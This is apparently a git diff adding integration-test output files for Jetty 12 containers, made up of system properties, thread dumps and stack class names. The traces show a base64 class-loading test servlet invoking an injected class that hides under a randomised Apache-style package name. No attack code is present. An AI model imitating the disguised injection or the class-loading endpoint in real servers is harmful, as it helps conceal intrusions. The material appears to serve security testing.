app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.7/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@21.0.7/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3dc31fc1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@21.0.7/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + at java.base@21.0.7/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"qtp1529306539-22" #22 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f80119df80.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.commons.njdxJ.ErrorHandler +org.eclipse.jetty.ee8.nested.ContextHandler +org.eclipse.jetty.ee8.nested.ContextHandler$CoreContextHandler$CoreToNestedHandler +org.eclipse.jetty.ee8.nested.HandlerWrapper +org.eclipse.jetty.ee8.nested.HttpChannel +org.eclipse.jetty.ee8.nested.HttpChannel$RequestDispatchable +org.eclipse.jetty.ee8.nested.ResponseWriter +org.eclipse.jetty.ee8.nested.ScopedHandler +org.eclipse.jetty.ee8.nested.SessionHandler +org.eclipse.jetty.ee8.security.SecurityHandler +org.eclipse.jetty.ee8.servlet.FilterHolder +org.eclipse.jetty.ee8.servlet.ServletHandler +org.eclipse.jetty.ee8.servlet.ServletHandler$Chain +org.eclipse.jetty.ee8.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.ee8.servlet.ServletHolder +org.eclipse.jetty.ee8.servlet.ServletHolder$NotAsync +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000f80119df80 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectableChannelEndPoint$1 +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker +org.eclipse.jetty.server.internal.HttpConnection +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy diff --git a/integration-test/src/test/resources/infos/Jetty12ee9ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty12ee9ContainerTestBasicInfo.txt new file mode 100644 index 00000000..d0387bf1 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty12ee9ContainerTestBasicInfo.txt @@ -0,0 +1,349 @@ +# Generated At 2025-08-10 14:58:15 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /var/lib/jetty/resources:/usr/local/jetty/lib/logging/slf4j-api-2.0.17.jar:/usr/local/jetty/lib/logging/jetty-slf4j-impl-12.0.21.jar:/usr/local/jetty/lib/jetty-http-12.0.21.jar:/usr/local/jetty/lib/jetty-server-12.0.21.jar:/usr/local/jetty/lib/jetty-xml-12.0.21.jar:/usr/local/jetty/lib/jetty-util-12.0.21.jar:/usr/local/jetty/lib/jetty-io-12.0.21.jar:/usr/local/jetty/lib/jetty-deploy-12.0.21.jar:/usr/local/jetty/lib/jetty-session-12.0.21.jar:/usr/local/jetty/lib/jetty-security-12.0.21.jar:/usr/local/jetty/lib/jetty-ee-12.0.21.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +jetty.base: /var/lib/jetty +user.timezone: Etc/UTC +jetty.home: /usr/local/jetty +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration java.io.tmpdir=/tmp/jetty java.version=21.0.7 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty jetty.webapp.addHiddenClasses=org.eclipse.jetty.logging.,file:///usr/local/jetty/lib/logging/,org.slf4j. runtime.feature.alpn=true slf4j.version=2.0.17 /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-deploy.xml /usr/local/jetty/etc/sessions/id-manager.xml /usr/local/jetty/etc/jetty-ee-webapp.xml /usr/local/jetty/etc/jetty-http.xml --env ee9 -cp /usr/local/jetty/lib/jetty-jakarta-servlet-api-5.0.2.jar -cp /usr/local/jetty/lib/jetty-ee9-nested-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee9-servlet-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee9-security-12.0.21.jar -cp /usr/local/jetty/lib/jetty-ee9-webapp-12.0.21.jar contextHandlerClass=org.eclipse.jetty.ee9.webapp.WebAppContext /usr/local/jetty/etc/jetty-ee9-webapp.xml /usr/local/jetty/etc/jetty-ee9-deploy.xml +jdk.debug: release +sun.cpu.endian: little +user.home: /var/lib/jetty +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-04-15 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.7+6-LTS +user.name: jetty +stdout.encoding: UTF-8 +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.7+6 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jetty.git.hash: 1c4719601e31b05b7d68910d2edd980259f1f53c +java.io.tmpdir: /tmp +java.version: 21.0.7 +user.dir: /var/lib/jetty +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.7+6-LTS +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"qtp1529306539-31-acceptor-0@2759e500-ServerConnector@544d57e{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #31 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.7/sun.nio.ch.ServerSocketChannelImpl.implAccept(Unknown Source) + at java.base@21.0.7/sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) + at app//org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:389) + at app//org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:698) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-30" #30 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000050119df80.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.7/java.lang.ref.Reference.processPendingReferences(Unknown Source) + at java.base@21.0.7/java.lang.ref.Reference$ReferenceHandler.run(Unknown Source) + +"qtp1529306539-32" #32 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74042943 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-35" #35 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Scheduler-1408652377-1" #36 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b8c9fee + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor.getTask(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) + at java.base@21.0.7/java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@4de2e521 + java.lang.Thread.State: WAITING + at java.base@21.0.7/java.lang.Object.wait0(Native Method) + at java.base@21.0.7/java.lang.Object.wait(Unknown Source) + at java.base@21.0.7/java.lang.Object.wait(Unknown Source) + at java.base@21.0.7/java.lang.ref.NativeReferenceQueue.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.7/java.lang.ref.NativeReferenceQueue.remove(Unknown Source) + at java.base@21.0.7/java.lang.ref.Finalizer$FinalizerThread.run(Unknown Source) + +"qtp1529306539-34" #34 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-21" #21 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.7/java.lang.Thread.getAllStackTraces(Unknown Source) + at org.apache.logging.FHzJF.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.7/java.lang.String.valueOf(Unknown Source) + at org.eclipse.jetty.ee9.nested.ResponseWriter.print(ResponseWriter.java:312) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.eclipse.jetty.ee9.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1406) + at org.eclipse.jetty.ee9.servlet.ServletHolder.handle(ServletHolder.java:765) + at org.eclipse.jetty.ee9.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1668) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.eclipse.jetty.ee9.servlet.FilterHolder.doFilter(FilterHolder.java:210) + at org.eclipse.jetty.ee9.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1638) + at org.eclipse.jetty.ee9.servlet.ServletHandler.doHandle(ServletHandler.java:526) + at org.eclipse.jetty.ee9.nested.ScopedHandler.handle(ScopedHandler.java:127) + at org.eclipse.jetty.ee9.security.SecurityHandler.handle(SecurityHandler.java:603) + at org.eclipse.jetty.ee9.nested.HandlerWrapper.handle(HandlerWrapper.java:124) + at org.eclipse.jetty.ee9.nested.ScopedHandler.nextHandle(ScopedHandler.java:197) + at org.eclipse.jetty.ee9.nested.SessionHandler.doHandle(SessionHandler.java:612) + at org.eclipse.jetty.ee9.nested.ScopedHandler.nextHandle(ScopedHandler.java:195) + at org.eclipse.jetty.ee9.nested.ContextHandler.doHandle(ContextHandler.java:1045) + at org.eclipse.jetty.ee9.nested.ScopedHandler.nextScope(ScopedHandler.java:164) + at org.eclipse.jetty.ee9.servlet.ServletHandler.doScope(ServletHandler.java:483) + at org.eclipse.jetty.ee9.nested.ScopedHandler.nextScope(ScopedHandler.java:162) + at org.eclipse.jetty.ee9.nested.SessionHandler.doScope(SessionHandler.java:589) + at org.eclipse.jetty.ee9.nested.ScopedHandler.nextScope(ScopedHandler.java:162) + at org.eclipse.jetty.ee9.nested.ContextHandler.doScope(ContextHandler.java:966) + at org.eclipse.jetty.ee9.nested.ScopedHandler.handle(ScopedHandler.java:125) + at org.eclipse.jetty.ee9.nested.ContextHandler.handle(ContextHandler.java:1719) + at org.eclipse.jetty.ee9.nested.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1564) + at org.eclipse.jetty.ee9.nested.HttpChannel.dispatch(HttpChannel.java:723) + at org.eclipse.jetty.ee9.nested.HttpChannel.handle(HttpChannel.java:511) + at org.eclipse.jetty.ee9.nested.ContextHandler$CoreContextHandler$CoreToNestedHandler.handle(ContextHandler.java:2943) + at app//org.eclipse.jetty.server.handler.ContextHandler.handle(ContextHandler.java:1071) + at app//org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:151) + at app//org.eclipse.jetty.server.Server.handle(Server.java:182) + at app//org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:665) + at app//org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:416) + at app//org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322) + at app//org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99) + at app//org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:480) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:443) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:293) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000050119df80.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1529306539-23" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:195) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x000000050119df80.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-29" #29 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74042943 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"qtp1529306539-33" #33 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.7/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.7/sun.nio.ch.EPollSelectorImpl.doSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) + at java.base@21.0.7/sun.nio.ch.SelectorImpl.select(Unknown Source) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:182) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:189) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:614) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:548) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:514) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:258) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6ce56937 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.await(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove0(Unknown Source) + at java.base@21.0.7/java.lang.ref.ReferenceQueue.remove(Unknown Source) + at java.base@21.0.7/jdk.internal.ref.CleanerImpl.run(Unknown Source) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + at java.base@21.0.7/jdk.internal.misc.InnocuousThread.run(Unknown Source) + +"DestroyJavaVM" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp1529306539-22" #22 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74042943 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.7/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.7/java.util.concurrent.locks.LockSupport.parkNanos(Unknown Source) + at java.base@21.0.7/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(Unknown Source) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:213) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1141) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1158) + at java.base@21.0.7/java.lang.Thread.runWith(Unknown Source) + at java.base@21.0.7/java.lang.Thread.run(Unknown Source) + + +=========================================== + +StackClassNames: +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.logging.FHzJF.ErrorHandler +org.eclipse.jetty.ee9.nested.ContextHandler +org.eclipse.jetty.ee9.nested.ContextHandler$CoreContextHandler$CoreToNestedHandler 